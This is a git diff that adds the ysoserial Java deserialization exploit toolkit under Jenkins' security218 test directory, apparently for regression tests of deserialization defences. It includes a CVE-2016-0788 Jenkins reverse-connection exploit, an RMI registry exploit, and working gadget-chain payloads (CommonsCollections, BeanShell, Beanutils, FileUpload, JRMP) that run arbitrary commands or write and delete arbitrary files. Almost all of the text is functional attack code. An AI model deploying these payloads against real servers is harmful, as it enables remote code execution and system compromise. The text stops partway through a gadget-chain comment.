@@ +package jenkins.security.security218.ysoserial.exploit; + + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.rmi.registry.Registry; +import java.util.Random; + +import hudson.remoting.Channel; +import jenkins.security.security218.ysoserial.exploit.JRMPListener; +import jenkins.security.security218.ysoserial.payloads.JRMPClient; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; + + +/** + * CVE-2016-0788 exploit (2) + * + * - Sets up a local {@link JRMPListener} + * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol + * that will cause the remote to open a JRMP connection to our listener + * - upon connection the specified payload will be delivered to the remote + * (that will deserialize using a default ObjectInputStream) + * + * @author mbechler + * + */ +public class JenkinsReverse { + + public static final void main ( final String[] args ) { + if ( args.length < 4 ) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + + final Object payloadObject = Utils.makePayloadObject(args[2], args[3]); + String myAddr = args[ 1 ]; + int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; + String jenkinsUrl = args[ 0 ]; + + Thread t = null; + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); + t = new Thread(listener, "ReverseDGC"); + t.setDaemon(true); + t.start(); + Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort); + c.call(JenkinsCLI.getPropertyCallable(payload)); + listener.waitFor(1000); + listener.close(); + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + + if ( t != null ) { + t.interrupt(); + try { + t.join(); + } + catch ( InterruptedException e ) { + e.printStackTrace(System.err); + } + } + } + Utils.releasePayload(args[2], payloadObject); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java new file mode 100644 index 0000000000..9468a3dc4c --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java @@ -0,0 +1,52 @@ +package jenkins.security.security218.ysoserial.exploit; + +import java.rmi.Remote; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.util.concurrent.Callable; + +import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.secmgr.ExecCheckingSecurityManager; + +/* + * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader. + * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces. + * + * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote + * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +public class RMIRegistryExploit { + public static void main(final String[] args) throws Exception { + final String host = args[0]; + final int port = Integer.parseInt(args[1]); + final String command = args[3]; + final Registry registry = LocateRegistry.getRegistry(host, port); + final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; + final Class payloadClass = (Class) Class.forName(className); + + // ensure payload doesn't detonate during construction or deserialization + exploit(registry, payloadClass, command); + } + + public static void exploit(final Registry registry, + final Class payloadClass, + final String command) throws Exception { + new ExecCheckingSecurityManager().wrap(new Callable(){public Void call() throws Exception { + ObjectPayload payloadObj = payloadClass.newInstance(); + Object payload = payloadObj.getObject(command); + String name = "pwned" + System.nanoTime(); + Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); + try { + registry.bind(name, remote); + } catch (Throwable e) { + e.printStackTrace(); + } + Utils.releasePayload(payloadObj, payload); + return null; + }}); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java new file mode 100644 index 0000000000..0086afaa70 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java @@ -0,0 +1,51 @@ +package jenkins.security.security218.ysoserial.payloads; + +import bsh.Interpreter; +import bsh.XThis; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.Comparator; +import java.util.PriorityQueue; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + */ + +@SuppressWarnings({ "rawtypes", "unchecked" }) +@Dependencies({ "org.beanshell:bsh:2.0b5" }) +public class BeanShell1 extends PayloadRunner implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + // BeanShell payload + String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}"; + + // Create Interpreter + Interpreter i = new Interpreter(); + + // Evaluate payload + i.eval(payload); + + // Create InvocationHandler + XThis xt = new XThis(i.getNameSpace(), i); + InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); + + // Create Comparator Proxy + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + + // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) + final PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = new Object[] {1,1}; + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", 2); + + return priorityQueue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(BeanShell1.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java new file mode 100755 index 0000000000..95db4e0eed --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java @@ -0,0 +1,42 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.math.BigInteger; +import java.util.PriorityQueue; + +import org.apache.commons.beanutils.BeanComparator; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +@SuppressWarnings({ "rawtypes", "unchecked" }) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) +public class CommonsBeanutils1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + // mock method name until armed + final BeanComparator comparator = new BeanComparator("lowestSetBit"); + + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + // switch method called by comparator + Reflections.setFieldValue(comparator, "property", "outputProperties"); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = templates; + queueArray[1] = templates; + + return queue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsBeanutils1.class, args); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java new file mode 100755 index 0000000000..a388619ac1 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java @@ -0,0 +1,66 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import javax.xml.transform.Templates; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.map.LazyMap; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.JavaVersion; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; + +/* + * Variation on CommonsCollections1 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ +@SuppressWarnings({"rawtypes", "unchecked", "restriction"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@PayloadTest ( precondition = "isApplicableJavaVersion") +public class CommonsCollections3 extends PayloadRunner implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + Object templatesImpl = Gadgets.createTemplatesImpl(command); + + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + // real chain for after setup + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(TrAXFilter.class), + new InstantiateTransformer( + new Class[] { Templates.class }, + new Object[] { templatesImpl } )}; + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return handler; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections3.class, args); + } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java new file mode 100644 index 0000000000..a973a66119 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java @@ -0,0 +1,62 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.util.PriorityQueue; +import java.util.Queue; + +import javax.xml.transform.Templates; + +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InstantiateTransformer; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; + +/* + * Variation on CommonsCollections2 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +public class CommonsCollections4 implements ObjectPayload> { + + public Queue getObject(final String command) throws Exception { + Object templates = Gadgets.createTemplatesImpl(command); + + ConstantTransformer constant = new ConstantTransformer(String.class); + + // mock method name until armed + Class[] paramTypes = new Class[] { String.class }; + Object[] args = new Object[] { "foo" }; + InstantiateTransformer instantiate = new InstantiateTransformer( + paramTypes, args); + + // grab defensively copied arrays + paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); + args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); + + ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); + + // create queue with numbers + PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); + queue.add(1); + queue.add(1); + + // swap in values to arm + Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); + paramTypes[0] = Templates.class; + args[0] = templates; + + return queue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections4.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java new file mode 100644 index 0000000000..b45aaa9fa7 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java @@ -0,0 +1,87 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import javax.management.BadAttributeValueExpException; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +/* + Gadget chain: + ObjectInputStream.readObject() + AnnotationInvocationHandler.readObject() + Map(Proxy).entrySet() + AnnotationInvocationHandler.invoke() + LazyMap.get() + ChainedTransformer.transform() + ConstantTransformer.transform() + InvokerTransformer.transform() + Method.invoke() + Class.getMethod() + InvokerTransformer.transform() + Method.invoke() + Runtime.getRuntime() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + + Requires: + commons-collections + */ +@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()") +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +public class CommonsCollections5 extends PayloadRunner implements ObjectPayload { + + public BadAttributeValueExpException getObject(final String command) throws Exception { + final String[] execArgs = new String[] { command }; + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + // real chain for after setup + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "getRuntime", new Class[0] }), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[0] }), + new InvokerTransformer("exec", + new Class[] { String.class }, execArgs), + new ConstantTransformer(1) }; + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, entry); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return val; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections5.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java new file mode 100644 index 0000000000..059b8c8195 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java @@ -0,0 +1,107 @@ +package jenkins.security.security218.ysoserial.payloads; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + +import java.io.Serializable; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; + +/* + Gadget chain: + java.io.ObjectInputStream.readObject() + java.util.HashSet.readObject() + java.util.HashMap.put() + java.util.HashMap.hash() + org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() + org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() + org.apache.commons.collections.map.LazyMap.get() + org.apache.commons.collections.functors.ChainedTransformer.transform() + org.apache.commons.collections.functors.InvokerTransformer.transform() + java.lang.reflect.Method.invoke() + java.lang.Runtime.exec() + + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +public class CommonsCollections6 extends PayloadRunner implements ObjectPayload { + + public Serializable getObject(final String command) throws Exception { + + final String[] execArgs = new String[] { command }; + + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "getRuntime", new Class[0] }), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[0] }), + new InvokerTransformer("exec", + new Class[] { String.class }, execArgs), + new ConstantTransformer(1) }; + + Transformer transformerChain = new ChainedTransformer(transformers); + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + + HashSet map = new HashSet(1); + map.add("foo"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + f.setAccessible(true); + HashMap innimpl = (HashMap) f.get(map); + + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + + f2.setAccessible(true); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if(node == null){ + node = array[1]; + } + + Field keyField = null; + try{ + keyField = node.getClass().getDeclaredField("key"); + }catch(Exception e){ + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + keyField.setAccessible(true); + keyField.set(node, entry); + + return map; + + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections6.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java new file mode 100644 index 0000000000..f65a6ba13f --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java @@ -0,0 +1,10 @@ +package jenkins.security.security218.ysoserial.payloads; + + +/** + * @author mbechler + * + */ +public interface DynamicDependencies { + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java new file mode 100644 index 0000000000..3bc89b8d41 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java @@ -0,0 +1,112 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import java.io.File; +import java.io.IOException; +import java.io.OutputStream; +import java.util.Arrays; + +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.fileupload.disk.DiskFileItem; +import org.apache.commons.io.output.DeferredFileOutputStream; +import org.apache.commons.io.output.ThresholdingOutputStream; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +/** + * Gadget chain: + * DiskFileItem.readObject() + * + * Arguments: + * - copyAndDelete;sourceFile;destDir + * - write;destDir;ascii-data + * - writeB64;destDir;base64-data + * - writeOld;destFile;ascii-data + * - writeOldB64;destFile;base64-data + * + * Yields: + * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) + * - pre 1.3.1 (+ old JRE): write data to an arbitrary file + * - 1.3.1+: write data to a more or less random file in an arbitrary directory + * + * @author mbechler + */ +@Dependencies ( { + "commons-fileupload:commons-fileupload:1.3.1", + "commons-io:commons-io:2.4" +} ) +@PayloadTest(harness="ysoserial.payloads.FileUploadTest") +public class FileUpload1 implements ReleaseableObjectPayload { + + public DiskFileItem getObject ( String command ) throws Exception { + + String[] parts = command.split(";"); + + if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) { + return copyAndDelete(parts[ 1 ], parts[ 2 ]); + } + else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) { + return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); + } + else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) { + return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); + } + else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) { + return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); + } + else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) { + return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); + } + else { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + } + + + public void release ( DiskFileItem obj ) throws Exception { + // otherwise the finalizer deletes the file + DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); + Reflections.setFieldValue(obj, "dfos", dfos); + } + + private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + + // writes data to an arbitrary file + private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + + private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(FileUpload1.class, args); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java new file mode 100644 index 0000000000..36c1711727 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java @@ -0,0 +1,82 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import java.lang.reflect.Proxy; +import java.rmi.registry.Registry; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + + +/** + * + * + * UnicastRef.newCall(RemoteObject, Operation[], int, long) + * DGCImpl_Stub.dirty(ObjID[], long, Lease) + * DGCClient$EndpointEntry.makeDirtyCall(Set, long) + * DGCClient$EndpointEntry.registerRefs(List) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + * + * Thread.start() + * DGCClient$EndpointEntry.(Endpoint) + * DGCClient$EndpointEntry.lookup(Endpoint) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + * + * Requires: + * - JavaSE + * + * Argument: + * - host:port to connect to, host only chooses random port (DOS if repeated many times) + * + * Yields: + * * an established JRMP connection to the endpoint (if reachable) + * * a connected RMI Registry proxy + * * one system thread per endpoint (DOS) + * + * @author mbechler + */ +@SuppressWarnings ( { + "restriction" +} ) +@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") +public class JRMPClient extends PayloadRunner implements ObjectPayload { + + public Registry getObject ( final String command ) throws Exception { + + String host; + int port; + int sep = command.indexOf(':'); + if ( sep < 0 ) { + port = new Random().nextInt(65535); + host = command; + } + else { + host = command.substring(0, sep); + port = Integer.valueOf(command.substring(sep + 1)); + } + ObjID id = new ObjID(new Random().nextInt()); // RMI registry + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { + Registry.class + }, obj); + return proxy; + } + + + public static void main ( final String[] args ) throws Exception { + Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); + PayloadRunner.run(JRMPClient.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java new file mode 100644 index 0000000000..a93d3b4b9a --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java @@ -0,0 +1,55 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import java.rmi.server.RemoteObject; +import java.rmi.server.RemoteRef; +import java.rmi.server.UnicastRemoteObject; + +import sun.rmi.server.ActivationGroupImpl; +import sun.rmi.server.UnicastServerRef; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * Gadget chain: + * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 + * UnicastRemoteObject.reexport() line: 266 + * UnicastRemoteObject.exportObject(Remote, int) line: 320 + * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 + * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 + * LiveRef.exportObject(Target) line: 147 + * TCPEndpoint.exportObject(Target) line: 411 + * TCPTransport.exportObject(Target) line: 249 + * TCPTransport.listen() line: 319 + * + * Requires: + * - JavaSE + * + * Argument: + * - Port number to open listener to + */ +@SuppressWarnings ( { + "restriction" +} ) +@PayloadTest( skip = "This test would make you potentially vulnerable") +public class JRMPListener extends PayloadRunner implements ObjectPayload { + + public UnicastRemoteObject getObject ( final String command ) throws Exception { + int jrmpPort = Integer.parseInt(command); + UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] { + RemoteRef.class + }, new Object[] { + new UnicastServerRef(jrmpPort) + }); + + Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); + return uro; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(JRMPListener.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java new file mode 100644 index 0000000000..626827929e --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java @@ -0,0 +1,119 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.util.HashMap; +import java.util.Map; + +import javax.management.openmbean.CompositeData; +import javax.management.openmbean.CompositeType; +import javax.management.openmbean.OpenDataException; +import javax.management.openmbean.OpenType; +import javax.management.openmbean.TabularDataSupport; +import javax.management.openmbean.TabularType; + +import javax.xml.transform.Templates; + +import org.springframework.aop.framework.AdvisedSupport; +import com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl; +import net.sf.json.JSONObject; + + +/** + * + * A bit more convoluted example + * + * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[]) + * org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String) + * net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig) + * net.sf.json.JSONObject._fromBean(Object, JsonConfig) + * net.sf.json.JSONObject.fromObject(Object, JsonConfig) + * net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig) + * net.sf.json.JSONObject._processValue(Object, JsonConfig) + * net.sf.json.JSONObject.processValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object) + * javax.management.openmbean.TabularDataSupport.containsValue(CompositeData) + * 